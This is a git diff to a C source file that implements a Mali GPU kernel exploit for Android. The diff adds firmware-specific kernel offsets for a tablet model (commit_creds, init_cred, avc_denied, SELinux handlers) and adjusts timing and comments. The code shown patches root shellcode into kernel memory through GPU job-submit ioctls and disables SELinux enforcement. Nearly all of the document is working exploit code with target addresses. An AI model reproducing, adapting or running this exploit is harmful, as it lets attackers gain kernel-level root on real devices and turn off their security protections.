diff --git a/mali_shrinker_mmap32.c b/mali_shrinker_mmap32.c index 6b8b388..c12da77 100644 --- a/mali_shrinker_mmap32.c +++ b/mali_shrinker_mmap32.c @@ -63,6 +63,7 @@ #define ADD_COMMIT_INDEX 3 /* +Need: kallsyms KERNEL_BASE = do_undefinstr - 0x1000 COMMIT_CREDS = commit_creds - KERNEL_BASE AVC_DENY= avc_denied.isra.4 - KERNEL_BASE @@ -80,19 +81,19 @@ ADD_COMMIT = add x8, x8, #0x(Last 3 digits of INIT_CRED) ADD_INIT = add x0, x0, #0x(Last 3 digits of INIT_CRED) */ +/* + * Maintained by Syuugo + */ + // TAB-A05-BD 01.00.000 #define SELINUX_ENFORCING_CTX_01_00_000 0x129d9bc -#define SEL_READ_HANDLE_UNKNOWN_CTX_01_00_000 0x365d80 // 0xffffff80083e5d80 - 0xffffff8008080000 = 0x365d80 -#define SEL_READ_ENFORCE_CTX_01_00_000 0x3653a8 // 0xffffff80083e53a8 - 0xffffff8008080000 = 0x3653A8 //add -#define INIT_CRED_CTX_01_00_000 0x11553f0 // 0xffffff80091d53f0 - 0xffffff8008080000 = 0x11553F0 -#define COMMIT_CREDS_CTX_01_00_000 0x5a120 // 0xffffff80080da120 - 0xffffff8008080000 = 0x5a120 +#define SEL_READ_HANDLE_UNKNOWN_CTX_01_00_000 0x365d80 +#define SEL_READ_ENFORCE_CTX_01_00_000 0x3653a8 +#define INIT_CRED_CTX_01_00_000 0x11553f0 +#define COMMIT_CREDS_CTX_01_00_000 0x5a120 #define ADD_INIT_CTX_01_00_000 0x910fc000 #define ADD_COMMIT_CTX_01_00_000 0x91048108 -#define AVC_DENY_CTX_01_00_000 0x35acc8 // 0xffffff80083dacc8 - 0xffffff8008080000 = 0x35ACC8 //add - -/* - * Maintained by Syuugo - */ +#define AVC_DENY_CTX_01_00_000 0x35acc8 // TAB-A05-BD 01.01.001 #define COMMIT_CREDS_CTX_01_01_001 0x5a120 @@ -551,7 +552,6 @@ uint32_t write_adrp(int rd, uint64_t pc, uint64_t label) { } void fixup_root_shell(uint64_t init_cred, uint64_t commit_cred, uint64_t read_enforce, uint32_t add_init, uint32_t add_commit) { - uint32_t init_adpr = write_adrp(0, read_enforce, init_cred); // Sets x0 to init_cred root_code[ADRP_INIT_INDEX] = init_adpr; @@ -580,7 +580,6 @@ void fixup_root_shell_nop() { } void fixup_root_shell_un(uint64_t init_cred, uint64_t commit_cred, uint64_t read_handle_unknown, uint32_t add_init, uint32_t add_commit) { - uint32_t init_adpr = write_adrp(0, read_handle_unknown, init_cred); // Sets x0 to init_cred root_code_un[ADRP_INIT_INDEX] = init_adpr; @@ -594,7 +593,6 @@ void fixup_root_shell_un(uint64_t init_cred, uint64_t commit_cred, uint64_t read root_code_un[7] = 0xd65f03c0; // ret } - uint64_t set_addr_lv3(uint64_t addr) { uint64_t pfn = addr >> PAGE_SHIFT; pfn &= ~ 0x1FFUL; @@ -637,7 +635,7 @@ void write_to(int mali_fd, uint64_t gpu_addr, uint64_t value, int atom_number, e if (ioctl(mali_fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) { err(1, "submit job failed\n"); } - usleep(500000); + usleep(300000); } void write_data(int mali_fd, uint64_t data, uint64_t* reserved, uint64_t size, uint64_t value, enum mali_write_value_type type) { @@ -697,7 +695,7 @@ int run_enforce() { return result; } - +/* int run_enforce_write() { char result = '0'; sleep(3); @@ -710,6 +708,7 @@ int run_enforce_write() { LOG("result %d\n", result); return result; } +*/ int run_enforce_un() { char result = '2'; @@ -795,19 +794,6 @@ void select_offset() { return; } - /* - if (1) { - //avc_deny = 0x321C64; // avc_denied.isra.6 - //selinux_enforcing_READ = 0x32CC2C ; // t sel_read_enforce - //selinux_enforcing_WRITE = 0x32E01C ; // t sel_read_enforce - selinux_enforcing = SELINUX_ENFORCING_neo; - sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_neo; - //fixup_root_shell(0x12253F0, 0x5B328, selinux_enforcing_WRITE, 0x910FC000, 0x910CA108); - //fixup_root_shell(0x12253F0, 0x5B328, selinux_enforcing_READ, 0x910FC000, 0x910CA108); - fixup_root_shell_un(INIT_CRED_neo, COMMIT_CREDS_neo, sel_read_handle_unknown, ADD_INIT_neo, ADD_COMMIT_neo); - return; - } - */ err(1, "unable to match build id\n"); } @@ -825,7 +811,7 @@ void write_selinux(int mali_fd, int mali_fd2, uint64_t pgd, uint64_t* reserved) } void write_shellcode(int mali_fd, int mali_fd2, uint64_t pgd, uint64_t* reserved) { -/* + /* uint64_t avc_deny_addr = (((avc_deny + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), avc_deny_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); @@ -972,7 +958,7 @@ int main() { #else #include JNIEXPORT int JNICALL -Java_com_example_hellojni_MaliExpService_stringFromJNI( JNIEnv* env, jobject thiz) +Java_com_example_hellojni_MaliExpService_stringFromJNI(JNIEnv* env, jobject thiz) { setbuf(stdout, NULL); setbuf(stderr, NULL);